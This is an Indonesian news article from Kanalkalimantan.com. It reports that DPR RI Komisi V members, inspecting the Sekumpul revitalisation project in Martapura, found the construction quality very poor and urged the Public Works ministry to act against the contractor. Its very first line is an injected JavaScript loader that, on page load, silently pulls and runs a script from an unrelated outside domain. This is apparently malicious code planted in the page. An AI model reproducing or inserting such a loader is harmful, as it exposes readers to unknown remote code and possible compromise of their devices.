(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Komisi V DPR RI: Kualitas Proyek Revitalisasi Sekumpul Sangat Tidak Baik!

KANALKALIMANTAN.COM, MARTAPURA – Proyek revitalisasi kawasan Sekumpul Martapura segmen 1 dinilai jauh dari kualitas yang diharapkan.

Kondisi itu didapati Komisi V DPR RI saat melakukan kunjungan kerja pengecekan proyek infrastruktur revitalisasi kawasan Sekumpul, Kamis (16/6/2022) siang.

Anggota Komisi V DPR RI melihat langsung kondisi pekerjaan proyek revitalisasi kawasan Sekumpul yang dipimpin Syaifullah Tamliha, wakil rakyat asal Kalsel dari PPP.

“Kualitasnya tidak sesuai harapan,” sebut Syaifullah Tamliha, Wakil Ketua Komisi V DPR RI, ketika melilhat langsung paving blok dan guide blok untuk penyandang disabilitas yang hanya diberi lem.

Sementara itu, Anggota Komisi V DPR RI, Sudewo mengatakan, kunjungan Komisi V ini untuk membuktikan berita viral beberapa waktu lalu, terkait pengerjaan proyek kawasan Sekumpul.

“Setelah kami cek ternyata kualitasnya sangat memprihatinkan, maka saya minta Kementerian PUPR untuk bertindak tegas terhadap kontraktor yang melaksanakan pembangunan konstruksi revitalisasi kawasan Sekumpul supaya melakukan perbaikan. Jangan diterima hasil pekerjaan ini terlebih dulu, sebelum semua pekerjaan yang direncanakan itu dipastikan diperbaiki sesuai dengan RAB,” tegasnya.

Wakil rakyat dari Partai Gerindra saat peninjauan langsung lapangan ingin memastikan apakah pekerjaan penataan kawasan dari Ditjen Cipta Karya Kementerian PUPR melalui Balai Prasarana Permukiman Wilayah (BPPW) Kalsel ini berjalan dengan baik secara kualitas.

“Jadi kami tidak hanya sekadar informasi, tidak sekadar laporan, tetapi saya melihat dengan fakta bahwa ini masih jauh daripada baik,” sebut Sudewo.

“Sangat disayangkan kalau baru awal penataan saja kualitasnya sangat tidak baik, dan ini harus menjadi evaluasi Kementerian PUPR,” sentilnya.

“Pekerjaan ini harus disempurnakan, mengingat Sekumpul ini merupakan makam kyai besar kita, tokoh besar kita tidak hanya dikenal tingkat nasional, tetapi juga tingkat internasional, maka jangan sampai dieksploitasi atau dikapitalisasi proyek-proyek ini untuk kepentingan atau keuntungan pribadi,” bebernya.

Komisi V DPR RI berharap pekerjaan revitaliasi Sekumpul dilakukan dengan sebaik-baiknya untuk marwah dan martabat Kabupaten Banjar. Karena Sekumpul ini didorong untuk menjadi wisata religi di tingkat internasional.

Revitalisasi kawasan Sekumpul tidak hanya untuk menunjang bagaimana pada saat haul berjalan secara lancar saja, tetapi disiapkan untuk kawasan religi internasional.

“Maka proyek pekerjaan ini harus berkelanjutan tahun 2023, harus ada anggarannya lagi di 2024. Bahkan mungkin sampai di 10 tahun lagi tidak jadi masalah karena kita memang punya visi supaya kawasan Sekumpul Kabupaten Banjar ini menjadi kawasan religi bertaraf internasional,” bebernya

Ketika pengecekan proyek revitalisasi Sekumpul ikut hadir Dirjen Pengembangan Kawasan Permukiman, Johanes Wahyu Kusumosusanto bersama jajaran Direktorat Jenderal Cipta Karya Kementerian PUPR RI. (Kanalkalimantan.com/al)

Reporter : al
Editor : bie